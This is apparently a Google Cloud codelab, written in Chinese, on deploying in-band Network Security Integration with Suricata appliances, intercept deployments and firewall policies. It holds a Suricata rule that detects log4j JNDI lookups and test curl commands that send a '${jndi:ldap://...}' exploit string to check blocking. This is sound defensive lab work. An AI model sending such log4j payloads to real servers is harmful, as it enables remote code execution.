带内网络安全集成 (NSI) Codelab

1. 简介

网络安全集成

网络安全集成 (NSI) 可灵活增强工作负载的网络安全性。您可能需要利用第三方独立软件供应商 (ISV) 提供的专用设备,或者利用深度数据包检测 (DPI) 引擎来检查载荷。为了实现与这些第三方设备的无缝集成,Google Cloud 简化了设备的透明部署,无需进行任何网络或路由更改。

Google Cloud 提供两种 Network Security Integration 方式:带外和带内。本实验将逐步介绍如何部署带内 Network Security Integration。

带内网络安全集成

Network Security Integration 通过使用数据包拦截技术提供带内集成,让您可以在网络流量路径中放置第三方网络设备,以透明方式检查 Google Cloud 工作负载。此过程使用通用网络虚拟化封装 (GENEVE) 将数据包安全地传输到设备,而不会更改原始来源和目标 IP 地址。

带内集成提供了一种以服务为中心的方法,用于以串联模式部署和使用第三方内联网络设备。作为服务提供方,您可以发布一组可扩缩的第三方网络设备,作为拦截部署。作为服务使用方,您可以使用 Cloud Next Generation Firewall 政策和规则来精细选择要透明重定向到本地拦截端点以进行检查的数据流量。

61bfbf754e04cf70.png

图 1. 带内集成服务的高级部署架构

如需详细了解带内 NSI 集成,请参阅带内集成概览

带内服务提供方

服务提供方是指部署和管理第三方设备的位置。此功能可由贵组织中的人员(安全团队等)或外部供应商管理。生产者将其虚拟机(可以是第三方设备)注册为 VPC 网络中内部直通式网络负载平衡器的后端。这些设备会检查重定向到它们的网络流量。然后,服务提供方会创建拦截部署,这是一种指向内部直通式网络负载平衡器的转发规则的可用区级资源。

拦截部署是一种可用区级资源,表示提供方在特定可用区中的检查服务。制作方会为部署了虚拟机的每个可用区创建拦截部署。

拦截部署群组是项目范围的全局性资源,可让使用方连接到提供方的检查服务。制作方会创建一个拦截部署组,将多个可用区级拦截部署归为一组。生产者使用 IAM 来控制哪些使用方可以连接到其部署组。

如需了解详情,请参阅 Intercept 部署组概览Intercept 部署概览

In-band Service Consumer

服务使用者使用提供方提供的检查服务。使用方指定要检查哪些 VPC 以及来自哪个提供方的 VPC。为此,使用方会创建一个拦截端点组(一种全球性资源,表示提供方-使用方关系中的使用方),并将该拦截端点组与提供方的拦截部署组相关联。

如需将拦截端点组与要检查流量的 VPC 相关联,使用方可以创建拦截端点组关联。为了选择应发送给提供方进行检查的流量,使用方会创建并使用网络防火墙政策。消费者创建一个安全配置文件组,其中包含引用其拦截端点组的安全配置文件。然后,使用方会创建防火墙规则,以将符合特定条件的流量重定向到提供方的设备。

尽管拦截端点组(IEG) 是项目级资源,但 IEG 和 IEG 关联不必位于同一项目中。IEG 可通过组织内其他项目的 IEG 关联进行引用。它表示提供方-使用方关系中的使用方。使用方创建拦截端点组,以使用提供方的检查服务。使用方上的每个拦截端点组都与生产方上的单个拦截部署组相关联。

如需了解详情,请参阅拦截端点组和关联概览

消费者必须创建防火墙政策规则,以将流量重定向到其拦截端点组。使用方可以在防火墙政策规则中指定匹配条件,从而定义提供方设备要检查哪些流量。

消费者创建自定义拦截安全配置文件,以指定应使用哪个拦截端点组来检查流量。

消费者创建安全配置文件组,以定义应应用于特定流量子集的一组安全检查功能。安全配置文件组包含单个自定义拦截安全配置文件。

构建内容

ea01a16258c792c1.png

图 2. 此 Codelab 的高级别部署架构

为简化此 Codelab,您将使用单个项目并创建两个 VPC 网络,同时管理多个网络和安全资源。本实验将演示如何通过第三方设备部署带内网络服务集成,以实现透明的安全插入。

系统将使用 Cloud 防火墙匹配参数(包括 5 元组 [来源 IP、目标 IP、协议、来源端口、目标端口])来选择要检查的流量。为简单起见,在本实验中,您将检查 TCP 端口 80 上的所有出站流量。

提供方将允许来自提供方 VPC 子网网关 IP (10.0.0.1/32) 的入站流量,以用于目标端口为 6081(GENEVE 的知名端口)的 UDP 数据包。

网络防火墙政策规则库的最终状态将类似于下表:

提供方网络政策

优先级

方向

协议

目标

来源

目的地

目标端口

操作

100

入站流量

全部

全部

健康检查

不限

不限

允许

200

入站流量

全部

全部

IAP

不限

不限

允许

300

入站流量

UDP

全部

10.0.0.1/32

不限

6081

允许

消费者网络政策

优先级

方向

协议

目标

来源

目的地

目标端口

操作

200

入站流量

TCP

全部

IAP

不限

22

允许

800

出站

TCP

全部

不限

不限

80

拦截

学习内容

  • 如何部署带内 Network Security Integration

所需条件

  • Google Cloud 组织和项目
  • 适当的 IAM 权限
  • 了解如何部署实例和配置网络组件
  • 网络政策防火墙配置知识

2. 准备工作

IAM 角色和权限

如需完成带内网络安全集成 (NSI) Codelab,您需要拥有以下 IAM 角色:

  • Compute Network Admin (roles/compute.networkAdmin):创建和管理 VPC 网络、子网、Cloud Router、NAT 网关和负载平衡器后端服务时需要此角色。
  • Compute Security Admin (roles/compute.securityAdmin):创建、配置和关联全局网络防火墙政策和规则所必需的角色。
  • Compute Instance Admin (roles/compute.instanceAdmin.v1):部署 Suricata 设备和消费者测试虚拟机、通过 SSH 连接到这些设备和虚拟机,以及最终删除这些设备和虚拟机时需要此角色。
  • Intercept Deployment Admin (roles/networksecurity.interceptDeploymentAdmin):供制作方用于创建和管理区域性拦截部署和全局部署组。
  • Intercept Endpoint Admin (roles/networksecurity.interceptEndpointAdmin):供使用方用于创建拦截端点组并将其与自己的 VPC 网络相关联。
  • 拦截部署用户 (roles/networksecurity.interceptDeploymentUser):在提供方项目中是必需的,用于授予使用方连接到提供方部署组的权限。
  • 安全配置文件管理员 (roles/networksecurity.securityProfileAdmin):在组织级层是必需的角色,用于创建和管理自定义拦截安全配置文件和安全配置文件组。
  • Service Usage Admin (roles/serviceusage.serviceUsageAdmin):启用 NSI 功能所需的 networksecurity.googleapis.comcompute.googleapis.com API 时需要此角色。
  • 项目查看者 (roles/viewer):需要此角色才能检索实验中使用的环境变量的项目配置和组织祖先信息。

Google Cloud API

请确保已在您的项目中启用所需的 Google Cloud API。

启用必要的 API,在 Cloud Shell 中运行以下 gcloud 命令。

gcloud services enable compute.googleapis.com \
networksecurity.googleapis.com \
cloudresourcemanager.googleapis.com

创建/更新变量

此 Codelab 使用 $变量来帮助在 Cloud Shell 中实现 gcloud 配置。

在 Cloud Shell 中,运行以下命令,并根据需要替换方括号内的信息:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zonea=[first-zone from $region]
export zoneb=[second-zone from $region]
export zonec=[third-zone from $region]

3. 制作人操作

本部分将介绍提供方部署方面的内容。这包括部署 VPC、第三方网络虚拟设备以及 Network Security Integration 所需的所有相关组件。

VPC 和 Cloud NAT 组件

  1. 创建 VPC 和子网:
gcloud compute networks create producer-vpc --subnet-mode=custom 

gcloud compute networks subnets create producer-$region-subnet \
   --range=10.0.0.0/24 --network=producer-vpc --region=$region
  1. 获取子网网关 IP 以供防火墙规则使用:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
  1. 为提供方 VPC 创建防火墙政策和规则。这些防火墙规则将允许健康检查、IAP 和 NSI 源流量的入站流量:
gcloud compute network-firewall-policies create producer-fwpolicy \
  --global
                                                      
gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from ilb health-check ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80 \
        --direction=INGRESS \
        --src-ip-ranges=35.191.0.0/16,130.211.0.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

gcloud compute network-firewall-policies rules create 300 \
        --description="allow GENEVE UDP:6081 packets from gateway" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=udp:6081 \
        --direction=INGRESS \
        --src-ip-ranges=$gatewayip
 
  1. 将提供方 VPC 与网络防火墙政策相关联:
gcloud compute network-firewall-policies associations create \
        --firewall-policy producer-fwpolicy \
        --network producer-vpc \
        --name producer-fwpolicy-association \
        --global-firewall-policy
  1. 为第三方网络虚拟设备 (NVA) 部署 Cloud Router 和 Cloud NAT,以便下载所需的软件包和更新:
gcloud compute addresses create producer-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)")

gcloud compute routers create producer-$region-cr \
  --region=$region --network=producer-vpc

gcloud compute routers nats create producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=producer-$region-cloudnatip

第三方虚拟机

在本实验中,您将部署 Suricata,这是一项开源威胁检测服务。该命令包含一个启动脚本,用于安装和配置 Suricata。还有一些 iptables 用于执行源网络地址转换 (SNAT) 和目标网络地址转换 (DNAT),以处理和响应 GENEVE 数据包。

  1. 在第一个区域中部署第三方 NVA。
gcloud compute instances create suricata-$zonea \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.3 \
   --zone $zonea \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'
  1. 在第二个可用区中部署第三方 NVA:
gcloud compute instances create suricata-$zoneb \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.4 \
   --zone $zoneb \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'

提供方负载平衡器组件

  1. 创建用于检查第三方 NVA 可用性的一般健康检查:
gcloud compute health-checks create http nva-hc
  1. 为每个可用区创建一个可用区非代管式实例组:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \
   --zone $zonea

gcloud compute instance-groups unmanaged create producer-$zoneb-uig \
   --zone $zoneb
  1. 将实例添加到实例组:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea

gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb

运行以下命令,验证您的实例组是否包含您的实例:

gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea

gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb

示例输出:

NAME: suricata-$zonea
STATUS: RUNNING

NAME: suricata-$zoneb
STATUS: RUNNING
  1. 创建内部 UDP 后端服务:
gcloud compute backend-services create producer-bes \
  --protocol=UDP \
  --region=projects/$project_id/regions/$region \
  --health-checks=projects/$project_id/global/healthChecks/nva-hc \
  --load-balancing-scheme=INTERNAL
  1. 将这两个实例组都添加到后端服务:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region

gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
  1. 为转发规则预留内部 IP。每个拦截部署都需要一个唯一的转发规则:
gcloud compute addresses create producer-fr-$zonea-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.11

gcloud compute addresses create producer-fr-$zoneb-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.12
  1. 为每个可用区创建转发规则。这是必需的,因为拦截部署需要唯一的转发规则:
gcloud compute forwarding-rules create producer-fr-$zonea \
  --ip-protocol=UDP --address=10.0.0.11 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
  
gcloud compute forwarding-rules create producer-fr-$zoneb \
  --ip-protocol=UDP --address=10.0.0.12 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet

Network Security Integration 组件

  1. 创建拦截部署组:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
    --location global \
    --no-async \
    --network producer-vpc

验证部署组是否已成功创建:

gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
    --location global

示例输出:

createTime: '2025-01-16T06:13:48.075183628Z'
name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
network: projects/$project_id/global/networks/producer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:13:50.556947138Z'
  1. 为每个可用区创建拦截部署:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
    --location $zonea \
    --forwarding-rule producer-fr-$zonea \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group


gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
    --location $zoneb \
    --forwarding-rule producer-fr-$zoneb \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

验证拦截部署是否已成功创建:

gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
    --location $zonea

gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
    --location $zoneb

示例输出:

createTime: '2025-01-16T06:27:08.834875130Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:14.401072601Z'


createTime: '2025-01-16T06:33:47.798469786Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:25.258447474Z'

恭喜,您已完成提供方端设置。接下来,您将配置使用方来拦截流量,并以透明方式将其发送到第三方设备以进行强制执行。

4. 消费者行动

虽然本实验为简单起见,在单个项目中使用单独的 VPC,但在实际环境中,生产者和消费者资源可以位于不同的项目中,甚至可以位于不同的组织中。

VPC 和 Cloud NAT 组件

  1. 创建 VPC 和子网:
gcloud compute networks create consumer-vpc --subnet-mode=custom 

gcloud compute networks subnets create consumer-$region-subnet \
   --range=192.168.0.0/24 --network=consumer-vpc --region=$region
  1. 创建 Cloud Router 路由器和 Cloud NAT 网关:
gcloud compute addresses create consumer-$region-cloudnatip \
     --region=$region

export cloudnatip=$(gcloud compute addresses list \
     --filter=name:consumer-$region-cloudnatip \
     --format="value(address)")

gcloud compute routers create consumer-$region-cr \
    --region=$region \
    --network=consumer-vpc

gcloud compute routers nats create consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=consumer-$region-cloudnatip

拦截端点组和关联

  1. 创建拦截端点组:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
    --location global \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

验证端点是否已成功创建:

gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
    --location global 

示例输出:

createTime: '2025-01-16T06:37:10.620185836Z'
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:37:22.707994466Z'
  1. 创建拦截端点组关联,并指定使用方 VPC:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
    --location global \
    --network consumer-vpc \
    --no-async \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

验证:

gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
    --location global

示例输出:

createTime: '2025-01-16T06:40:21.125202733Z'
interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
locations:
- location: $zonea
  state: ACTIVE
- location: $zoneb
  state: ACTIVE
name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc
network: projects/$project_id/global/networks/consumer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:40:56.085493855Z'

安全配置文件和安全配置文件组

接下来,您将创建一个用于拦截的自定义安全配置文件,并将其附加到安全配置文件组。安全配置文件和安全配置文件组用于第三方设备的包拦截。

  1. 创建自定义拦截安全配置文件:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
    --organization $org_id \
    --location global \
    --billing-project $project_id \
    --intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group

验证安全配置文件是否已成功创建:

gcloud network-security security-profiles custom-intercept \
describe nsi-intercept-profile \
--organization=$org_id \
--location=global

示例输出:

{
  "createTime": "2025-01-16T20:25:21.545756039Z",
  "customInterceptProfile": {
    "interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
  },
  "etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
  "name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "type": "CUSTOM_INTERCEPT",
  "updateTime": "2025-01-16T20:25:24.101764860Z"
}
  1. 创建安全配置文件组:
gcloud network-security security-profile-groups create nsi-spg \
   --custom-intercept-profile=nsi-intercept-profile \
   --organization=$org_id \
   --project=$project_id \
  --location=global 

验证 SPG 是否已成功创建:

gcloud network-security security-profile-groups describe nsi-spg \
    --organization $org_id \
    --billing-project $project_id \
    --location global

示例输出:

 "createTime": "2025-01-16T20:31:23.545946850Z",
  "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
  "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg",
  "updateTime": "2025-01-16T20:31:27.588870973Z"

防火墙政策、规则和关联

  1. 创建全球网络防火墙政策:
gcloud compute network-firewall-policies create consumer-fwpolicy \
     --global
  1. 创建防火墙规则:
gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=consumer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20
  1. 创建防火墙规则,以拦截所有出站流量,并利用 NSI 将其透明地发送到我们的第三方设备。此规则将发送所有 TCP:80 出站流量以供检查。
gcloud compute network-firewall-policies rules create 800 \
    --action APPLY_SECURITY_PROFILE_GROUP \
    --firewall-policy consumer-fwpolicy \
    --security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
    --direction EGRESS \
    --layer4-configs tcp:80 \
    --dest-ip-ranges 0.0.0.0/0 \
    --global-firewall-policy
  1. 将云防火墙政策与 VPC 网络相关联:
gcloud compute network-firewall-policies associations create \
        --firewall-policy consumer-fwpolicy \
        --network consumer-vpc \
        --name consumer-fwpolicy-association \
        --global-firewall-policy

消费类虚拟机

  1. 部署用于验证 NSI 的虚拟机。您将在 3 个可用区中部署 3 个虚拟机。请注意,只有 2 个区域启用了 NSI,而 $zonec 未启用。
gcloud compute instances create consumer-$zonea \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.3 \
   --no-address \
   --zone $zonea 

gcloud compute instances create consumer-$zoneb \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.4 \
   --no-address \
   --zone $zoneb

gcloud compute instances create consumer-$zonec \
   --shielded-secure-boot \
   --subnet=consumer-$region-subnet \
   --private-network-ip 192.168.0.5 \
   --no-address \
   --zone $zonec 

测试带内 Network Security Integration

  1. 通过 SSH 连接到 $zonea(consumer-$zonea)中的虚拟机。发送测试流量:
gcloud compute ssh consumer-$zonea \
   --zone $zonea 
  1. http://www.google.com 发送测试流量:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

预期输出:

200

HTTP 200 状态代码表示服务器已成功收到、理解并处理客户端的请求。

  1. 通过 NSI 发送应被 Suricata 屏蔽的 log4j 请求。
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

预期输出:

000

000 HTTP 响应代码是一种非官方的非标准代码,某些软件使用该代码来表示未收到有效的 HTTP 状态代码。这可能意味着请求被防火墙阻止。

  1. 退出 SSH 会话,返回到 Cloud Shell
exit
  1. 通过 SSH 连接到 $zoneb 中的虚拟机(consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \
   --zone $zoneb 
  1. 同样,发送测试流量:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

预期输出:

200
  1. 发送 log4j 请求:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

预期输出:

000
  1. 退出 SSH 会话,返回到 Cloud Shell
exit
  1. 通过 SSH 连接到 $zonec(consumer-$zonec)中的虚拟机
gcloud compute ssh consumer-$zonec \
   --zone $zonec
  1. 同样,发送测试流量:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

预期输出:

200
  1. 发送 log4j 请求:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

预期输出:

200

请注意,此请求已成功提交。这是正常现象,因为您没有使用 $zonec 配置 NSI。拦截端点组仅包含 $zonea 和 $zoneb 的关联。

  1. 退出 SSH 会话,返回到 Cloud Shell
exit

验证 Suricata 是否已收到并阻止恶意请求

  1. 通过 SSH 连接到 $zonea 中的 Suricata 虚拟机 (suricata-$zonea),以检查日志:
gcloud compute ssh suricata-$zonea \
   --zone $zonea
  1. 查看按攻击类型过滤的日志:
cat /var/log/suricata/eve.json | grep log4j

您可能会看到一些条目。如果您未看到任何条目,请检查 $zoneb 中 Suricata 虚拟机的日志。示例输出:

{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
  1. 退出 SSH 会话,返回到 Cloud Shell
exit

(可选)您可以通过 SSH 连接到 $zoneb 中的 Suricata 虚拟机 (suricata-$zoneb),并验证日志

gcloud compute ssh suricata-$zoneb \
   --zone $zoneb

查看按攻击类型过滤的日志:

cat /var/log/suricata/eve.json | grep log4j

示例输出:

{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}

此外,数据包捕获也是查看和验证流量的好方法。

此命令将过滤 GENEVE 数据包。示例命令:

sudo tcpdump -i any -nn udp port 6081

现在,从使用方虚拟机发送一些测试流量。示例输出:

05:53:50.719074 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.719190 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.728752 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
